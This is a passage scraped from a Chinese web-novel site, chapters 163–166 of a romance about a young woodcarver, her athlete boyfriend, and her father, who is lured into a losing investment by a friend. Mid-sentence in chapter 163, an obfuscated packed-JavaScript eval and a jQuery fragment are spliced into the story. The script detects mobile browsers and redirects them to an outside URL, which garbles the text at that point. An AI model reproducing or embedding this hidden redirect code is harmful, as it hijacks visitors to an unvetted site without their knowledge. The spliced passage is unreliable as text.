孟棠眉头一蹙,同学?她跟以前的同学没什么联系啊。 “我去看看。” 她放下油泥,出了后院,碰上了来找她的魏川。 “你这急匆匆的去哪儿?” “方姐说门口有人找我。” 魏川转了身:“我跟你一起去看看。” “嗯。” 两人一起出了前院,当看到门口站着的人时,孟棠自己都有点懵,甚至还有点荒唐。 “周飞?” 魏川挑了下眉,将对方上上下下打量了一遍,个子挺高,应该超过185了,看身材,也是经常运动的人,脸也就那样,跟他是没法比的。 魏川索性倚靠在门边,漫不经心地看着对方。 周飞笑了笑:“我听说你回来了,我正好放假也在家,过来看看。” 孟棠:“……” 见孟棠没说话,周飞看向魏川,问:“这是你男朋友吗?” 孟棠不耐烦了:“你到底什么事?” “中旬有场同学聚会,要带你男朋友参加吗?” “滚!”魏川赶在孟棠之前开口,眼神骤然发冷,压着视线看向周飞。 孟棠回眸看过去,显然没想到魏川这样直接。 周飞也愣了。 “听不懂?”魏川走到孟棠身边,居高临下地看着他。 魏川是金玉养大的少爷,修养是有的,但生起气来,脾气也绝对是够的,气势也足够压人。 周飞不是瞎子,一看魏川就不是自己能得罪的。 只怕曾经的那些事,孟棠已经跟他说了。 钟文进跟他说了一嘴,他一时上头跑过来,简直是自取其辱。 最后只能灰溜溜地走了。 “操。”魏川低声骂了句,转头对孟棠说,“还好你不喜欢这种怂蛋。” 想到他曾经追过孟棠,魏川都觉得膈应。 孟棠盯着他看了好一会儿,踮起脚在他脸上亲了下:“我喜欢你。” 魏川得意了,一把搂住她的腰:“这辈子都得喜欢我。” 孟棠笑道:“好。” 得到承诺的人一激动就要亲,余光一瞥,瞥到了一抹令人讨厌的身影。 今天起床应该看日历的,牛鬼蛇神都他妈找上了门。 魏川直起身,拍了拍孟棠的腰:“李寒津来了,你先进去。” “不要打架。” 孟棠叮嘱了一声,转身进了屋。 李寒津一声“小师妹”堵在喉咙,看向魏川的眼神像冬天廊檐下尖锐的冰棱。 魏川小气地堵在门前:“师兄,又来讨人嫌了?” 李寒津眼里闪过一丝厌恶。 “有些人啊,穿得人模人样,实则一肚子坏水。”魏川挑衅地看着他,“我跟孟棠配不配,你说了不算,也别整天跟阴沟里老鼠一样缠着我叔,你给他洗的什么脑?” 李寒津笑了声:“璋叔都跟你说了?” “是啊。”魏川淡定看着他,“我毕竟是他未来的女婿,你那些小计俩,他当然得跟我说。” 李寒津握了握拳。 魏川做了个“请”的手势:“打哪儿来回哪儿去,我这人一向不轻易动用家里的关系网,但你要是惹急了我,即便是雁清,你也别想待。” 他不乐意做到这个地步,对于中国人来说,家乡是刻在骨子里的东西。 他愿意留有一丝余地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051131|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全看在孟遇春的面子上。 魏川回来的时候,孟棠已经“玩上泥巴”了,他刚要上手,被孟棠瞪了一眼:“别乱动。” 魏川笑了声:“我把人赶走了。” 孟棠无奈地看向他:“辛苦了?” 魏川眼珠一转,搂住她的腰对着她的脸亲了下去。 他的鼻息在耳际滚来滚去,孟棠痒得难受,边笑边躲:“魏川,你松开我。” 魏川欺负她手上有泥,玩得更起劲了。 不仅动嘴,手还十分欠地在她腰间瞎挠。 “魏川!”孟棠没招儿了,“我生气了。” 魏川这才停下来,安抚地在她脸上啄了好几下:“好了好了,我走了,不打扰你。” 孟棠哼了声,白了他一眼。 百无聊赖地过了一个下午,孟棠在晚饭时候才洗了手出来。 桌上没有孟怀璋,魏川问方姐:“叔不回来吃饭吗?” 方姐说:“打了电话,厂里还有点事。” 而孟怀璋确实是有事,忙好往回赶的时候,碰上了老廖,两人一合计,找了个吃饭的地方。 孟怀璋乍然喝回黄酒还有些不太习惯,给老廖吹牛魏川,从家世到外貌,再到性格全都夸了一遍。 老廖热情地给他倒酒:“你家棠囡也好,值得嘛。” 孟怀璋嘿嘿一笑,随即又叹了声气:“可她那男朋友家里条件太好了,差距有点大,以后结了婚,不知道孟棠会不会有好日子过。” “操的什么心。”老廖拍了拍孟怀璋的肩膀,“儿孙自有儿孙福。” 孟怀璋笑了笑:“喝酒喝酒。” 老廖手机响了起来,他大喇喇接起来:“喂……回本了?多少?我去……行行行……” 孟怀璋见他挂了电话,问:“什么回本了?” 老廖满面春风:“前段时间,我和家里的表弟去……手续批得快……一年净赚……比上班强……” 他叽里咕噜说了一大堆,孟怀璋就听到一年净赚40万。 “真这么来钱?” “我骗你干什么?” 孟怀璋笑了笑:“你再说说呗。 老廖给他倒了一杯酒:“行,咱兄弟俩慢慢说。” 夜半更深,孟怀璋才回了老宅。 翌日上午,魏川很早就起了床。 孟棠也随之清醒,去敲了他的房门。 “进来。”魏川转过头,“你怎么起那么早?” 孟棠说:“我订了闹钟,送你去高铁站,方姐应该已经做了早饭了。” “好。”魏川应了声,“我把行李收拾一下。” 昨晚已经收拾好了,现在就把零碎的小物件整理好。 没一会儿,方姐敲了门:“小川,你好了吗?过来吃早饭。” “好了。”魏川将箱子搁在床尾,对孟棠笑了笑,“走,吃饭去。” 孟棠:“你先去,我刷个牙。” “好。” 方姐又做了小笼包,因为她发现魏川爱吃。 老爷子年纪大了,起得也早,在饭桌上对魏川说:“回去给你爸妈带声好。” “知道了。” 七点半左右,孟棠送魏川去了高铁站。 九点的车,加上路上浪费的时间,也差不多能安检进站了。 魏川转头将孟棠抱进怀中,在她耳边说:“等我月底过来接你。” “好。” 第163章 思念害人不浅 魏川走了,院子里安静下来。 方姐叹了第八次的气,孟棠也无奈了:“方姐,我饿了。” “这就给你去做饭。”方姐应了声,去了厨房,有的忙了,她也就不咯噔了。 孟棠摇了摇头,这个魏川,真是“害人不浅”。 住在这里几天,把方姐哄成什么样了。 手机短促地响了声,孟棠解开锁屏,是魏川发来的一条信息:【到家吃饭,你吃了没?】 孟棠:【还没。】 魏川:【12点了还没吃?】 孟棠:【不饿,家里就我和方姐,随便对付一口。】 魏川:【我一回来,老头就出去鬼混了?】 孟棠:【……小心我告诉爷爷。】 魏川发了个“求饶”的表情包过去。 楚茵敲了敲桌面:“谁让你吃饭还玩手机的?” 魏川抬头,说:“给孟棠报个平安。” 楚茵双手抱胸,一副审问的姿态:“从香港回来,怎么去了雁清?” “不都说了嘛。”魏川见孟棠没了下文,将手机黑屏,“我情敌搁那儿碍眼呢。” 楚茵简直无语:“……你这条件还怕情敌?” 魏川笑了声:“妈,我跟你是一个想法,但我再好,也架不住别人使坏,他还在孟棠的爸爸面前说我坏话呢。” 楚茵蹙了蹙眉:“这人怎么这么讨厌?让孟棠赶紧别搭理他。” 魏川摇了摇头:“一个都没搭理,门都进不来的,放心。” “你不放心,为什么不让她暑假来z市玩?”楚茵指了指楼上,“你三姐这段时间休息,昨天刚回来,可以让她带孟棠玩。” “算了吧。”魏川哼了声,“上次她带孟棠去夜店我还没找她算账。” 楚茵“啧”了声:“这孩子怎么这么不靠谱,孟棠一看就没去过花红酒绿的世界,沾染了那些俗气多不好,待会儿我上楼说说她。” 魏川点了点头:“不是我不让她来,她要出件呢,你也知道她有木雕的手艺,不能荒废,人家大院里有专门的库房和工坊,来不了啊。” “不错。”楚茵夸了句,“静得下心,也吃得了苦,现在孩子太娇气了。” 不娇气的孩子躲进了北院的工作坊。 其实连年有余这种主题,已经有固定的雕刻方式,老匠人不需要草稿泥塑,都是对着木头上手开凿。 比如孟遇春,闭着眼睛都会雕刻了。 相比之下,雕刻人物时才需要泥塑辅助,因为要高度精确人物的面部肌肉动态。 这也是孟遇春经常跟孟棠说的“开脸差一线,神韵隔重山”的道理。 泥塑时还得不断调整人物的五官比例,一旦不满意了,又得揉了重来,反反复复,直至满意。 可孟棠还年轻,手艺再好,孟遇春也一直压着她从草图开始,泥塑转接。 磨性子,磨技术。 而且她是雕塑系的,粗胚开凿前,泥塑有助于她的专业课程。 就拿连年有余的主题来说,在荷叶、鲤鱼元素的基础上,最起码要用泥塑表达出精准的空间关系。 平面雕出,立体雕活,鱼尾这种运动感的部位在一定程度上和人物衣褶的转折走向有着异曲同工之妙。 孟棠下午揉捏着泥巴四五遍,也只做了个大概,始终没做到她想要的程度。 呼了一口气,孟棠出了北院,洗了手,她去厨房找了点吃的。 刚塞了满嘴,孟怀璋回来了,和孟棠撞了个正着。 “你下班这么早?”孟棠微微蹙眉。 “我拿个鱼竿。”孟怀璋说,“约了老廖钓鱼。” 孟棠看了时间:“四点了还去钓鱼?” 孟怀璋点头应了声,从杂物间出来后对方姐说了声不回来吃晚饭了。 孟棠也懒得过问,总比他待在家里,两人大眼瞪小眼强。 可一连几天,孟怀璋都不在家,每次出门都带着鱼竿。 周末两天更是不见人影。 老爷子最近在忙政府单位一件大型的落地屏风,一组四扇,忙得很,根本没空关心孟怀璋的去向。 孟棠直觉不太对,又不想打扰老爷子,在孟怀璋再一次出门后,跟了上去。 跟了半天,最后竟然真的在钓鱼,孟棠待了半小时,又回来了。 孟怀璋握着鱼竿,看向一旁的老廖。 老廖笑了笑:“昨天你也看见了,要赶一批中秋的单子,再有半月就可以捕捞,你现在投钱进去,赚的概率是很多的,也不多,十万就行。” 孟怀璋哂笑:“我没钱啊。” “这……”老廖犹豫了下,“没钱确实不行,你家老头不给你?” 孟怀璋:“你知道我的情况。” 老廖叹了口气:“我也没办法啊。” 沉默了将近十来分钟,老廖没了钓鱼的兴致,说:“时间差不多了,咱们回去吧。” 孟怀璋手头上没钱确实尴尬,这也是他想自己挣钱的原因之一。 他一把拉住老廖:“真能赚钱吗?” 老廖笑了声:“我要不是从小跟你一块长大,我都懒得搭理你。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!孟怀璋赶紧说:“别走啊,你能不能想想办法,先借我点。” 老廖有些为难:“钱都在我老婆那儿。” 孟怀璋恳求他:“那你跟嫂子说说呗。” 老廖叹了声气:“这么多年的兄弟了……哎,我回去帮你问问吧。” “行。”孟怀璋立刻来了精神。 老廖:“不过我可把丑话说前头啊,十万也不算小数目,我老婆不借的话,我也没办法。” 孟怀璋:“行,不为难你。” 两人边走边聊,最后在孟家大门口道了别。 老廖往前走了十来分钟,过家门而不入,最后拐进了一座翻新后的屋子。 里面出来一人,径自给了他一个黑包:“十二万,十万给他,两万是你的。” 老廖接了黑包,脸都笑烂了:“行,我走了。” 孟怀璋回到家里,老爷子正好从工坊回了中院,见到人,皱了皱眉:“这几天怎么总不回来吃晚饭?” “跟老廖钓鱼去了。” 他以前就喜欢钓鱼,孟怀璋没说什么,提醒了声:“孟棠好不容易放暑假,你也别整天出去鬼混,要是还想让她叫你一声爸,你就老老实实待在家里。” “知道了。”孟怀璋说,“我明天就不去钓了。” 孟棠书房的窗户半敞着,几乎听全了窗外的谈话声。 笔尖一顿,她搁下毛笔,拿过一旁的手机去看魏川的各大平台有没有营业视频。 十来天了,一个也没有。 孟棠将手机充了电,洗了澡。 刚回到卧室,魏川的视频打了过来。 孟棠笑了声,趴在床上接了起来。 “干嘛呢?”魏川开视频的习惯性开场白。 看他的背景,应该是更衣室。 孟棠翘着小腿一晃一晃,说:“刚洗完澡,你还训练吗?” 魏川甩了下头发:“今晚结束了,刚在浴室洗了个澡,他们都走了,我就跟你开个视频。” 孟棠捧着脸,笑意盈盈:“我怎么感觉你黑了点。” 提到这个,魏川哼了声:“是有点黑,我故意晒的。” 孟棠微微歪过头:“故意的?为什么?” “魏思沅说我太白了,没有男子气概。” “……” 男子气概是靠外貌吗?难道不是一个人的解决问题的能力和为人处世的准则吗? “怎么样?”魏川贴着镜头凑过去,“新皮肤怎么样?” 孟棠点点头:“其实也没黑多少,和大部分人比还是白的。” 魏川笑问:“你喜欢吗?” 孟棠说:“就这样吧,别故意晒了,晒伤了就不好了。” “行,听你的。”魏川背上包,拿起手机往集训宿舍走去。 孟棠一个姿势有点累,换到床头躺下了。 镜头旋转后,魏川终于又看到了她的脸,叹了声气:“还有半个月,我就能去找你了。” 魏川的语气有些沉,眼神也不太得劲,思念害人不浅。 还好每天的训练能消耗大半的精力,不然他真怕自己会忍不住跑去雁清。 孟棠:“其实时间过得很快了,你别急,好好训练。” 魏川:“知道了,老头最近身体怎么样?雁清热吗?” “热。”孟棠又换了个姿势,坐了起来,“爷爷身体挺好的,歇了一段时间开始赶工了。” 魏川:“这么急干什么,万一热到了怎么办?” “没事。”孟棠说,“这是大件,又是政府单位要的,明年要交付,时间有点紧。” 魏川点了点头:“行,多余的话我就不说了,你自己也注意休息。” 孟棠应了声,见他回了宿舍,挂了视频。 翌日下午,孟怀璋下班时,在木材厂的门口看到了老廖。 他忙上前,问:“嫂子怎么说啊?” 人多眼杂,老廖将他扯到一旁,将黑色的塑料袋递给他:“钱都在这儿,十万,一分也不少。” 孟怀璋心里一喜:“谢了啊。” 老廖“嗐”了声:“我也是费了好多口舌才给你磨来的,不过你要给我写个借条,还有啊,我最后再劝你一句,凡是投资,不可能百分百回本的,也有可能亏本,你真的想清楚了吗?” “借条我现在就给你写。”孟怀璋从口袋里掏出笔,“我早就准备好了。” 老廖笑了声:“行,你都决定写借条了,肯定准备干了。” 孟怀璋写完借条,问:“我们什么时候去你表弟家?” 老廖说:“明天吧,等你下班带你去。” 孟怀璋点了点头:“行。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第164章 看不惯我的完美爱情是吧 半个月的时间过得很快,但z大是9月12号开学。 孟棠没让魏川直接过来,让他在家里待几天,陪陪家里人。 总往雁清跑,他父母该有意见的。 魏川本来想反驳,但想到孟怀璋的事,又忍了下去。 他想这几天趁着假期,将孟怀璋的事给解决。 孟棠还在雁清,他一个人做全家的思想工作,也涉及不到她。 就是怎么开口呢,魏川始终没个头绪。 烦得很,他把秦渊叫了出来。 秦渊听着清吧的哄睡曲都快睡着了,魏川还是一句话没说。 他敲了敲桌子:“不是哥们,你到底要说什么?要不咱去夜店玩玩?” “滚。”魏川抬了抬眼,“看不惯我的完美爱情是吧?” “既然是完美爱情了,你又在烦什么呢?”秦渊实在不理解,“你这样,跟失恋了一样。” 魏川叹了声气:“孟棠爸爸的事,我不是跟你说过嘛,12号开学,我想趁着这半个月将这件事告诉家里,可心里又没底。” 秦渊幽幽道:“你是怕波及到孟棠吧?如果是的话,我劝你暂时别说。” 魏川沉默了片刻,问:“是因为小嫣姑姑的事吗?” 秦渊脸色一下凝重,随即又释怀地轻嗤了声:“姑姑当年被未婚夫设局进了监狱,出来后遇到一个男人,以为是良人,最后却要了她的命。” “孟棠虽然不是我姑姑,但她和他父亲在你爸妈眼中就是一体的。” “依照我对阿姨的了解,她绝不会同意的,到时候去学校找孟棠都是轻的,你又不可能24小时盯着人。” “闹得沸沸扬扬的,最后你俩只会BE,我不相信你妈妈若是贴脸,孟棠能一直忍着。” “她看着温和,其实骨子里高傲得很。” 一语中的啊。 魏川烦躁地撸了把短发:“那我就这么等着?这么被动?等着他们发现的那一天不更完蛋。” 秦渊说:“你现在没有一个周密的计划,你就是突然有假期了,就想强硬着解决,我问你,阿姨要是气晕了,气病了,你怎么办?” 魏川不说话了。 “他们那么爱你,你必然也做不到戳他们的心。”秦渊叹了声气,“你现在应该让他们跟孟棠多接触,让他们知道孟棠的好,人一旦有了情感挂钩就难以割舍,就跟阿姨养的马尔济斯一样。” “最后他们会为难,可看着孟棠,又舍不得,最后只能自己劝自己。” “卧槽!”魏川感觉自己学到了,“兄弟,今晚要喝什么,我买单。” 他这就去雁清把孟棠接到家里玩儿几天。 这事可不算他先提起来的,明明是他妈妈先提的。 明明当初说好了,他跟孟棠先谈着呢,最起码稳定半年再带回去。 可7月份的总决赛让他们提前见了面,魏思沅跟孟棠的关系又很好,回来肯定没少说孟棠的好话。 魏川坐不住了,陪着秦渊两个小时,最终到达了极限。 回到家后,他去敲了楚茵的房门。 楚茵还没睡,开了门,将他往门外推了下:“你爸刚睡着,怎么了?” 魏川说:“我明天去雁清。” “行。”楚茵简直无语了,“人家不会嫌你烦吗?” “那孟棠来我们家的话,你会嫌烦吗?”魏川试探地问了句。 楚茵无语地白了他一眼:“上门是客,我怎么好烦人?” 魏川“哦”了声:“那……晚安?” 楚茵点了点头:“去睡吧。” 魏川转身下楼,没走几步突然返了回来:“妈,我真的很喜欢她。” “我知道。”楚茵说,“我哪里会为难她?你喜欢的嘛,我要是为难她,不是在打你脸吗?” 魏川笑了声:“妈妈晚安。” 楚茵看着这么大块头喊“妈妈”,心软了软:“去吧,晚安。” 魏川回房间,洗完澡后给孟棠开了视频。 十一点了,孟棠肯定还没睡,因为白天说过跟她开视频的,她会等着他。 孟棠有点困,听到视频声音撑开了眼皮,她将手机放在枕头边,接了:“你怎么这么晚?” 魏川见她打了哈欠,笑得温柔:“跟我妈说了点事,困了?” “嗯。”孟棠低低应了声。 魏川觉得可爱,盯着屏幕里看了好一会儿,小声嘀咕了声:“宝宝,我明天去找你?” 孟棠一顿,睁开了眼睛:“明天就来?” “不想我去啊?”魏川问,“明天1号了,满打满算一个月没见面了。” “那你来吧。”孟棠没法了,“跟你家人说了吗?” “说了,我现在就买票。” “好,明天见。” 孟棠挂断视频通讯,没一会儿睡着了。 她也没问魏川买的几点的票,第二天一睁眼看到床头的人,简直没敢相信自己的眼睛。 魏川笑了声:“不认识了?” 孟棠懵了:“几点了?” “九点多了。”魏川说,“我买的七点的票。” 孟棠打开手机看了眼,坐了起来:“我怎么睡到现在?” 本小章还未完,请点击下一页继续阅读后面精彩内容!魏川将她抱进怀中,说:“想死我了。” 孟棠抱住他,笑了笑:“谁给你开的门啊?” “老头啊。”魏川溢出轻笑,“他吃撑了出去散步呢,正好看到我,差点把他吓着。” 孟棠推开他:“你先出去,我换身衣服。” 魏川出了她的房间,殷勤地给孟棠挤了牙膏。 方姐看到,笑道:“你这个男朋友当的,还是可以的。” 魏川开玩笑:“我这是正式得到认可了?” “认可什么?”孟棠从屋里出来。 魏川将牙刷牙杯给她:“没什么,聊着玩呢。” 方姐说:“老爷子说你这段时间累着了,就没让我早上叫你,给你留了饭。” 孟棠点了点头。 洗漱后,孟棠挨着餐桌坐下,慢条斯理地吃饭。 方姐手头还有活,就把空间让给了小情侣。 魏川看着孟棠,问:“你打算几号回学校?” 孟棠说:“11号吧,群里约好了一起回,还得打扫寝室卫生。” “你的连年有余做好了?” “做好了,待会儿带你去看。” “既然做好了,那……”魏川放慢语速,“要不跟我回z市?” “回z市?”孟棠一愣,“玩吗?” 也没什么好玩的吧? 魏川盯着她的眼睛:“去我家里,我妈让我带你去玩的。” “我不去。”孟棠直接拒绝了。 魏川一愣,没想到她想都没想,拒绝得这么干脆。 说实话,有点受伤,魏川当即就问:“为什么?” 孟棠放下筷子,对上他的视线:“因为我可以肯定,去你家的话,我会不自在。” 他们在一起的时间太短了,总决赛是大事,碰一面打个招呼,大家留点距离。 毕竟她现在只是和魏川谈恋爱,没到婚嫁的地步。 若是谈了一两年,决定携手余生,魏川邀请,她必然不会推辞。 现在哪里适合上门做客? 她的理由,魏川完全可以接受,他光顾着想要让孟棠和家里人接触,忘了孟棠原本的性格。 “是我太急。”魏川笑了笑,“吃好了没?” 孟棠点了点头:“我将碗筷收拾一下,你先出去。” “我来吧。”魏川起身去帮忙。 “不用。”孟棠躲开他,“我自己来,你先出去吧。” 魏川直觉孟棠不太对劲,弯着腰去看她的表情,问:“怎么了?” 孟棠为自己的猜想而心烦,说:“你先出去,我刷个碗,理一下思绪,待会儿出去跟你说。” 魏川直觉跟刚才的事有关,转头出了餐厅。 孟棠洗了碗筷,放到沥水架上,擦干净手,去找了魏川。 见他在海棠树底下站着,径自走了过去。 对视片刻,孟棠直接问他:“你想把我带回去这件事十分突然,问的时候也犹犹豫豫,到底什么意思?” 太敏锐了!到底谁说孟棠木头的啊? 魏川惊愕了一瞬,一句借口说辞也找不出来了。 “好吧,我承认。”魏川抿了下唇,“因为叔的事,我想趁着放假的时候跟家里摊牌,跟秦渊聊了许久,最终决定先来找你。” 孟棠点点头:“所以是想让我和爸妈先相处看看?培养一下感情?” 魏川说:“对。” 孟棠叹了声气:“可这样一来,不是有欺骗成分吗?以后他们知道了,又会怎么想?” “我只是着急。” “我知道,我也着急。”孟棠说,“现在我们的感情刚开始,其实不适合说孟怀璋的事,因为刚开始的感情太脆弱了,可不说,也有欺骗隐瞒的嫌疑。” 魏川上前,将她抱进怀中拍了拍:“那你怎么想的?” “我跟你在一起的时候就想过这个问题。”孟棠说,“可是我想来想去,也没想出个完美答案。” 魏川察觉到她的失落,说:“其实你说的也有道理,咱俩才刚开始,贸然跟他们说确实不太好,要不,这个学期我带你在他们面前多露露脸?等寒假的时候再说?” 孟棠在他怀中“嗯”了声:“行。” “没事。”魏川摸了摸她的头,“有我在呢,相信我。” 孟棠说:“我陪你。” 话音刚落,前头传来一声巨响,魏川吓了一跳,松开孟棠走了过去,发现是孟怀璋碰倒了几块废料子木头。 魏川帮忙扶起来,孟怀璋愣愣地站在一旁,失魂落魄。 孟棠察觉到他的神情不太对劲,蹙了蹙眉:“你怎么了?” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第165章 不耽误我找你 天光之下,孟怀璋死死藏着心虚。 “刚才碰到一条野狗,有点凶。”他极力镇定自己,看向魏川,“小魏什么时候来的?” “刚到没多久。”魏川盯着孟怀璋,“叔,您怕狗啊?” 孟怀璋点点头,“嗯”了声。 方姐让他回房间歇着,孟怀璋脚步虚浮,回到房间彻底腿软。 怎么办?老廖借给他的钱全都打了水漂。 十万虽然不多,老爷子也能拿得出来。 但他开不了口,本来指望着赚点钱,说不定老爷子和孟棠也能开心点。 怎么就亏了呢?孟怀璋窝囊地捶床。 手机响起来,见是老廖,孟怀璋眼底复杂,有逃避也有怨恨。 半晌,他接了起来,老廖在电话里喊:“老孟,赶紧来救你哥,你嫂子要把我活剥了。” 孟怀璋赶紧起身,往廖家去。 魏川正给孟棠喂葡萄呢,身边晃过一道人影。 他看过去,嘀咕了句:“怎么慌慌张张的?” 孟棠微微蹙眉,精致的五官都皱了起来:“酸。” 魏川下意识伸手:“吐出来。” 孟棠一愣。 “愣着干什么?”魏川捏住她下巴,“吐出来啊。” 孟棠向后仰头,躲开了他的手,说:“没事了,吐手里不脏吗?” 魏川皱了皱眉:“在哪儿买的?别吃了。” “隔壁送过来的,自家院里的,方姐说挺甜的,可能我吃到的是酸的。”孟棠说,“你再剥一个看看。” 魏川自己尝了两颗,说:“还行,酸甜的,你还吃吗?” 孟棠点点头:“吃。” 家里的跟外面买的不太一样。 魏川一个一个给她剥,剥完了直接塞她嘴里,道: “咱家也有果园,你喜欢吃什么,我告诉我妈,让她叫工人种。” 孟棠知道有钱人有自己的农场和果园,她突然笑了声,问: “你家的农场难道不比我家的菜园子大吗?怎么在这里就觉得惬意了?” 魏川说:“这里有你啊。” “贫吧。”孟棠往后躲了躲,“别剥了,我吃的速度赶不上你剥的速度。” 魏川笑了笑,剥一颗扔自己嘴里了。 收拾了盘子的垃圾,魏川问方姐:“家里有没有要干的活了?” 方姐笑道:“没活,跟小棠玩去。” 孟棠说:“带你去看看我做好的连年有余。” 两人去了后院,孟棠的新作就摆在成品架上。 黄杨木特有的木性温润动人,泛着特有的光泽。 浪花翻卷,木纹自然,魏川转头朝孟棠竖起大拇指:“跟真的水波一样,鱼也是,很有动态感。” 莲花更是层层舒展,但他认为,他床头的那朵玫瑰是最漂亮的。 魏川问孟棠:“你这一件能卖多少钱?” 孟棠说:“价格嘛,受很多因素影响,从木料到工艺水平,再到作者的名气,一模一样的作品,爷爷雕刻的会是我的五六倍。” 在雁清,孟遇春的名字家喻户晓,很多藏家都是直接上门。 而且老爷子现在基本是只出大件,但大件时间很长,都要按照年来计算,算得上是开张吃三年。 就拿孟遇春现在雕刻的屏风来说,如果拍卖,几百万都是有可能的。 但这是政府单位要的,最后谈了128万的价格。 隔壁工坊的门被人从里面拉开。 孟棠和魏川听到动静,也出了门。 孟遇春捶了捶腰,说:“老了,干不动了。” 魏川笑了声:“我看您面色红润,怼我的时候中气十足,怎么就干不动了?” 孟遇春在院中的石桌边坐下,倒了一杯凉茶灌进了肚里,这才慢悠悠回魏川: “说你就是动动嘴皮子的事,还需要什么力气?” “我——”魏川无言以对,看向孟棠,用眼神让她管管。 孟棠:“……” 人到底为什么能这么幼稚? 一个爷爷,一个男朋友,她怎么管? 孟棠在孟遇春对面坐下,说:“您今年带着我做大件吧。” 孟遇春撇过头:“这么急干什么?” “也不是急。”孟棠说,“毕业作品肯定要提前准备,毕业展览肯定大件更出彩。” 孟遇春想了想,说:“等你开学,给陈洵礼申请木雕工作室的独立工位,非课时使用权限,24小时开放的那种。” 他以前听陈洵礼提过,院内对于优秀的学生,是可以申请的,当初孟棠报考的z大,陈洵礼也是一而再再而三地跟他保证,一定给予孟棠最大限度的资源支持。 孟棠听到这话,心里定了定。 孟遇春又道:“从中小转大,要有个适应性的训练,旁人可能需要的时间久一点,你的话,我估摸着要三个月,寒假回来带你做工艺技术的突破,至于艺术表达,这个就是你自己的事了。” “好,我知道了。” “还有啊,你要锻炼身体,哪哪都要练,尤其是手部和腰部力量。” 孟棠点了点头:“知道了。” 这章没有结束,请点击下一页继续阅读!“嗯。”孟遇春说,“每天至少要保证两个小时的学习时间,到时候我会跟你开视频,咱也来个线上教学。” 孟棠应了声“好”。 魏川心里一阵哀嚎,大三在即,他感觉和孟棠已经没什么时间谈恋爱了。 老爷子走后,他求安慰似的抱住了孟棠。 “咱俩以后是不是只能在吃饭的时候碰一面了?”魏川亲了亲孟棠的耳垂。 孟棠躲了下,问:“为什么这么说?” “你课余时间本来就不多,这下又得上强度,哪还有什么时间留给我。” “还说我,你自己不也要训练?” “我每年训练都是老套路。”魏川说,“今年得了冠军,按照这两年的赛制,开学后的基层赛会跳过,直接从分区赛开始打,分区赛的时间还在明年开春,你说我有没有时间?” 时间肯定比孟棠充裕一点。 他刚想说这个学期好好谈一谈恋爱,她这边忙起来了。 不过还在一个学校,也不至于见不到人。 孟棠惊讶了一瞬:“跳过基层赛啊?” “是啊。”魏川对着她的脸亲了下。 孟棠歪了下头:“那怎么办?” “还能怎么办?我去找你呗。” 孟棠笑着摸了摸他的脸:“你不也有课要上?” “那也不耽误我找你。” 方姐在前头喊了一声,孟棠将魏川拉起来:“走了,吃饭去。” 几人刚在饭桌上坐下,孟怀璋回来了。 方姐给他拿了碗筷,孟怀璋摆了摆手,有气无力道:“有点热,没胃口,你们吃吧。” 说完,他回了房间。 孟遇春问方姐:“他怎么了?” 魏川插话:“被狗吓着了。” “什么?”孟遇春一脸的难以置信,“狗吓着了?” “嗯,”魏川点了点头,“叔自己说的,被野狗吓着了,不信您问孟棠。” 孟遇春看向孟棠,孟棠点了点头。 孟遇春说:“奇怪,他也不怕狗啊。” 魏川顺嘴一说:“那只能此狗非彼狗了。” 孟棠在桌下踢了下魏川,魏川朝她卖乖地笑了笑。 “不管他。”孟遇春说,“先吃饭。” 吃完饭,孟遇春出去消食了一圈就转了回来,他径自去了孟怀璋的房间。 孟怀璋看见他,吓得一愣,直接从床上坐了起来:“爸。” 孟遇春应了声:“最近忙什么呢?” “上班啊。”孟怀璋干笑了声。 孟遇春看着他:“你看起来不太对劲,是不是遇到什么事了?” “没、没有。” 孟遇春皱了皱眉:“我最后再给你一次机会。” 孟怀璋知道老爷子怀疑了,他紧了紧拳头,编了真假参半的理由: “老廖,非得拉我打牌,我没答应,就跑回来了。” 孟遇春:“没别的了?” 孟怀璋摇了摇头。 老爷子沉默片刻,说:“如果再来一次,我和孟棠会跟你断绝关系,你爱去哪儿待着就去哪儿待着。” 孟怀璋赶紧摇头:“不会的。” “最好是这样。”孟遇春心累地出了他的屋子。 孟怀璋又坐不住了,他给老廖打电话,约了见面的地方和时间。 彼时,院里的人都睡了,他偷偷摸摸出了门。 老廖见到他,问:“怎么样?跟老爷子说了吗?” 孟怀璋摇了摇头:“说不出口。” “你看看我这脸,都快被我老婆打烂了。”老廖说,“我也不要你利息,本金十万给我就行。” 孟怀璋急得满头汗,他一把抓住老廖的衣服,说:“要不这样,我每个月的工资,我自己留五百,其他的都给你,行吗?” “你在跟我开什么玩笑?”老廖拿出借条,“你那点工资要还到什么时候,我这里可是有你的借条,你要是拿不出来,我就去找老爷子了,谁不知道你家随随便便一件料子都值钱得很。” 孟怀璋说:“我家里的料子也就一般,真值钱早被人惦记了。” “你进去九年,我可不信老爷子没点积蓄。”老廖说,“他出个大件最少都得十几万,你这点钱,他完全能给你解决。” 孟怀璋有点怵老爷子,更怵老爷子刚才点拨他的话。 “走走走,烦死了。”老廖拦住孟怀璋的肩头,“喝点酒去。” 孟怀璋往后退:“我还得回去睡觉呢。” “睡什么觉啊,明天又不上班,我也不敢回去,干脆躲一晚。” 孟怀璋就这么被老廖半强迫地带走了。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第166章 你跟我睡 翌日一早,魏川早早起了床,毕竟不是自己家,也不能太赖床。 一个懒汉配不上漂亮的姑娘,想完,自己笑了声,什么抽象的想法。 这不,下一秒报应来了。 他要出去买早饭,却发现了倒在门口的孟怀璋。 “卧槽。”魏川当即跑过去,“这是怎么了?” 跑近了,魏川闻到了一股刺鼻的酒味。 他简直无语了,这是喝了一个晚上吗? 魏川将人拖起来,扛进了院里,方姐看到时吓了一跳:“这是怎么了?” 